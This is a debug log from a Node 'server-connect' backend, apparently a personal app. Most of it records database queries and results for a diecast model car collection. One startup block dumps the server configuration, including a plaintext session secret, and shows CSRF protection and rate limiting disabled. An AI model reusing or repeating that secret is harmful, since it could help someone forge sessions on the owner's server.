      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 187,
      model_name: 'Ford F-150 Raptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '399.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 186,
      model_name: 'Alfa Romeo Tonale',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 185,
      model_name: 'Volkswagen ID Buzz Cargo',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 184,
      model_name: 'Datsun 240Z',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Datsun',
      vehicle_brand_id: 186,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 183,
      model_name: 'Alpine A110 R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alpine',
      vehicle_brand_id: 196,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 182,
      model_name: 'Audi Q4 e-tron',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 181,
      model_name: 'Renault Master',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG CLE 53 ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    }
  ]
}
2026-02-27T12:52:50.789Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 193, name: 'Majorette Black Edition Gift Set' },
  { id: 195, name: 'Majorette Castheads Gift Set' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 194, name: 'Majorette Mercedes AMG Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-02-27T12:52:50.789Z server-connect:app Executing action step select
2026-02-27T12:52:50.790Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-27T12:52:50.790Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-02-27T12:54:18.098Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-02-27T12:54:20.268Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-02-27T12:54:21.131Z server-connect:setup:upload Upload middleware configured.
2026-02-27T12:54:21.131Z server-connect:secure CSRF Protection initialized
2026-02-27T12:54:21.136Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-02-27T12:54:21.137Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-02-27T12:54:21.138Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-02-27T12:54:21.141Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-02-27T12:54:21.150Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-02-27T12:54:21.153Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-02-27T12:54:21.166Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-02-27T12:54:21.179Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-02-27T12:54:21.184Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-02-27T12:54:21.186Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-02-27T12:54:21.188Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-02-27T12:54:21.192Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-02-27T12:54:21.197Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-02-27T12:54:21.208Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-02-27T12:54:21.211Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-02-27T12:54:21.283Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-02-27T12:54:21.285Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-02-27T12:54:21.289Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-02-27T12:54:21.296Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-02-27T12:54:21.298Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-02-27T12:54:21.302Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-02-27T12:54:21.308Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-02-27T12:54:21.311Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-02-27T12:54:21.316Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-02-27T12:54:21.320Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-02-27T12:54:21.322Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-02-27T12:54:21.324Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-02-27T12:54:21.326Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-02-27T12:54:21.333Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-02-27T12:54:21.333Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-02-27T12:54:21.336Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-02-27T12:54:21.339Z server-connect:setup:routes Api route /api/test(.json)? created
2026-02-27T12:54:21.882Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-27T12:54:21.886Z server-connect:app Executing action step identify
2026-02-27T12:54:21.886Z server-connect:app options: { provider: 'security' }
2026-02-27T12:54:21.888Z server-connect:output identity: 1
2026-02-27T12:54:21.888Z server-connect:app Executing action step restrict
2026-02-27T12:54:21.888Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-27T12:54:21.891Z server-connect:output restrict: undefined
2026-02-27T12:54:21.892Z server-connect:app Executing action step paged
2026-02-27T12:54:21.893Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) and (`diecast_cars`.`yt_short_created` = ?) and (`diecast_cars`.`yt_video_created` = ?) and (`diecast_cars`.`photoshoot` = ?) and (`diecast_cars`.`overview_created` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-27T12:54:21.906Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 32,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 25 },
    current: 1,
    total: 2
  },
  data: [
    {
      id: 190,
      model_name: '2021 Lexus LC 500',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-02-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Lexus',
      vehicle_brand_id: 197,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 189,
      model_name: 'Porsche 911 Targa',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-02-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: '',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 160,
      model_name: '2023 Toyota RAV4 TRD',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 159,
      model_name: 'Ford Police Interceptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 158,
      model_name: 'GMC 3500 Utility Truck',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 157,
      model_name: '2015 Honda Ridgeline',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Honda',
      vehicle_brand_id: 112,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 156,
      model_name: '1980 Jeep JIO Stepside',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 155,
      model_name: '2025 RAM 1500 EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 154,
      model_name: '2020 Land Rover Defender 90',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 153,
      model_name: 'Pierce Volterra EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Pierce',
      vehicle_brand_id: 192,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 152,
      model_name: '17 Toyota Landcruiser 78',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 151,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 85,
      model_name: 'Masserti Grandturismo Folgore',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-28T18:30:00.000Z',
      price: '399.00',
      brand: 'Matchbox',
      series: 'Moving Parts',
      brand_id: 73,
      series_id: 83,
      case: '',
      vehicle_brand_name: 'Masserti',
      vehicle_brand_id: 157,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 84,
      model_name: 'Nissan Sentra 2016',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-22T18:30:00.000Z',
      price: '167.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 83,
      model_name: 'Nissan Arya Pole to Pole 2023',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-07T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 82,
      model_name: ' MBX Turf Hauler II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'MBX',
      vehicle_brand_id: 155,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 81,
      model_name: ' Dodge Durango 2018',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-06T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 80,
      model_name: 'Polaris RZR Pro R 4 Sport 2025',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
